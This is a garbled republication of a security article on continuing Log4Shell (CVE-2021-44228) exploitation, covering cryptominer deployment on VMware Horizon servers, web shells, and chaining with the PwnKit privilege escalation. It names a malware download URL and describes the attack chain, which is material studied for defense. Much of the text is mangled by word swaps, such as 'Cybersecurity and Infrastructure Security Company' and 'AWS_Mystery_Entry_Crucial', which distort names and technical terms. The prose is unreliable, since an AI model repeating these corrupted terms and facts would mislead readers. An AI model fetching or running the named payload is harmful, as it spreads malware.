‘Long Live Log4Shell’: CVE-2021-44228 Not Dead Yet

Jen Easterly, the director of the Cybersecurity and Infrastructure Security Company (CISA), mentioned in a public news job interview that the now-infamous Log4j flaw is the “the most significant vulnerability that [she has] noticed in her occupation.” It’s not a stretch to say the whole security field would concur.

December of 2021 will be looked back on with a tinge of trauma and dread for incident responders, method directors and security practitioners. You all probably by now know— on December 9, a distant code execution vulnerability was uncovered in the programming library named Log4j, which is nearly ubiquitous in Java apps and application used all throughout the internet.

It felt like this vulnerability impacted, nicely, every thing. On best of that, it was very tricky to identify what programs have been vulnerable, and from what entry stage.

The vulnerability manufactured headlines and information posts with aspects about the threat were released left and suitable. Suppliers arrived out of the woodwork—some outlining how they have been influenced, some helping the group with cost-free resources—and other individuals to pitch their product and capitalize on chaos. Although payloads and bypass strategies have been shared by the offense, detection capabilities and scanning resources were being shared by the defense. Keeping up with the total of facts on the Log4shell vulnerability felt like drinking from a firehose.

But you already understood all that. We are even just incorporating to the sound with this write-up correct below.

So let us communicate about some thing else.

Where by Were the Exploits?

Irrespective of the “sky is falling” aura in the information-security group through the weeks Log4Shell was uncovered, the business noticed astonishingly few significant-scale attacks when compared to what we anticipated. This was particularly fortunate.

We as defenders have been traveling by the seat of our pants—working to gauge the attack area, how to detect, mitigate, patch and comprehend what this menace really is. As it turns out, attackers had been accomplishing the exact same issue, scrambling and figuring items out as they went. Both equally offense and protection had been operating to stay a person action in advance of the other aspect.

While there was a lot less carnage and devastation than we envisioned, that is not to say there wasn’t any. We saw our good share of compromised VMware Horizon servers, along with others in the marketplace.

Just after exploiting Log4j for preliminary obtain, threat actors would vacation resort to their normal function: setting up persistence to maintain entry, lurking and dwelling in the natural environment (we’ve witnessed web-shell indicators courting back again to December 23 whilst the business caught wind of this all over January 10), and continuing actions on aims.

For some, the purpose was more write-up-exploitation and compromise with tooling this kind of as Cobalt Strike. Far more generally than not, the malicious activity we have uncovered is abusing method electric power and sources to mine cryptocurrency.

A quick illustration highlights a detection caught by Windows Defender: a PowerShell command downloading and executing the code current at 80.71.158[.]96/xms.ps1 (at the time of producing, this backlink is nonetheless serving malware).

The retrieved xm.ps1 script reads as follows:

You can see it disables the firewall and executes a new binary for the XMRig miner. It creates scheduled duties and new autorun entries for this to persistently operate. Thanks to the original access vector from the Log4j vulnerability in the VMware Horizon server, the operator runs commands underneath the context of the “NT AUTHORITYSYSTEM” consumer: the absolute proprietor and administrator of the system.

Protecting this System-amount entry is finished by a deployed web shell, typically in the variety viewed beneath.

The web shell enabled attackers to control this box remotely from any place in the planet. Commands that were run by means of this web shell were being nonetheless executed underneath the context of the NT AUTHORITYSYSTEM (root-degree privileges).

Log4j Opened the Doorway

The CVE-2021-44228 Log4j vulnerability features preliminary access, which suggests hackers can then carry out all the disruption, degradation and probable destruction they want. Coupled with other vulnerabilities and exploitation tactics, even far more injury could be carried out.

A single specific recent vulnerability, the CVE-2021-4034 “PwnKit” bug affecting the PolKit pkexec utility, is of notice. It’s existing on a considerable quantity of Linux distributions, and will very easily elevate any low-privilege consumer to root and administrator access. Weaponizing both of those the trivial Log4j vulnerability for initial accessibility, as very well as the trivial pkexec vulnerability for privilege escalation, could make for quick mass compromise of Linux servers if they are not patched.

Pointless to say, patching was, is and always will be the utmost priority. In the situation of Log4j, some men and women believed that applying an up-to-date version of Java (the language interpreter by itself), rather than the individual Log4j library would be ample. This was quickly debunked, and the attack chain was manufactured publicly offered in the JNDI-Exploit-Package undertaking on GitHub.

Just included aid to LDAP Serialized Payloads in the JNDI-Exploit-Kit. This attack path will work in *ANY* java variation as extended the courses utilized in the Serialized payload are in the application classpath. Do not depend on your java version staying up-to-day and update your log4j ASAP! pic.twitter.com/z3B2UolisR

— Márcio Almeida (@marcioalm) December 13, 2021

If the vulnerable Log4 library is not patched, there is nonetheless a risk, even if preliminary entry is not attainable. The syntax employed to pull off the attack relies on an outbound relationship, reaching out by means of the LDAP protocol to retrieve a Java class hosted elsewhere. In this outbound relationship request, the attacker could exfiltrate sensitive details potentially stored in ecosystem variables.

Cloud-based mostly hosted networks or other manufacturing techniques may possibly keep secrets or obtain tokens within these ecosystem variables. If these secrets and techniques like AWS_Mystery_Entry_Crucial in Amazon Web Services have been to be leaked, a menace actor could then help by themselves to compromise even more.

So What Now?

While the cybersecurity sector moves via the commencing of 2022, the Log4j nightmare is just another incident that makes us want to say goodbye and excellent riddance to 2021. But it is not quite in the rearview mirror just however.

Try to remember when we considered that, soon after applying a patch or two, the preceding Microsoft Exchange vulnerability ProxyLogon would vanish? But in what felt like an prompt, danger actors flung ProxyShell into all of our worlds, having numerous by surprise. And though ProxyShell/ProxyLogon finished up not currently being very as sizeable as Log4shell, these vulnerabilities nonetheless establish that threat actors love to recycle and stage up a very good threat any time they can.

Looking at just how deeply embedded the use of the Log4j deal could be within just programs, this vulnerability could keep on to rear its head for many a long time to arrive. Significantly like the previous Shellshock bug, some sellers or application vendors could not even know the issue exists till it is discovered externally someplace down the road.

Only time will tell if Log4shell will make a fierce return and disrupts the sector again (not to mention, our holiday break weekends). As we continue on through this calendar year, it is most effective to hold an eye on individuals sideview mirrors—just in case.

John Hammond is a senior security researcher at Huntress.

Take pleasure in extra insights from Threatpost’s Infosec Insiders community by going to our microsite.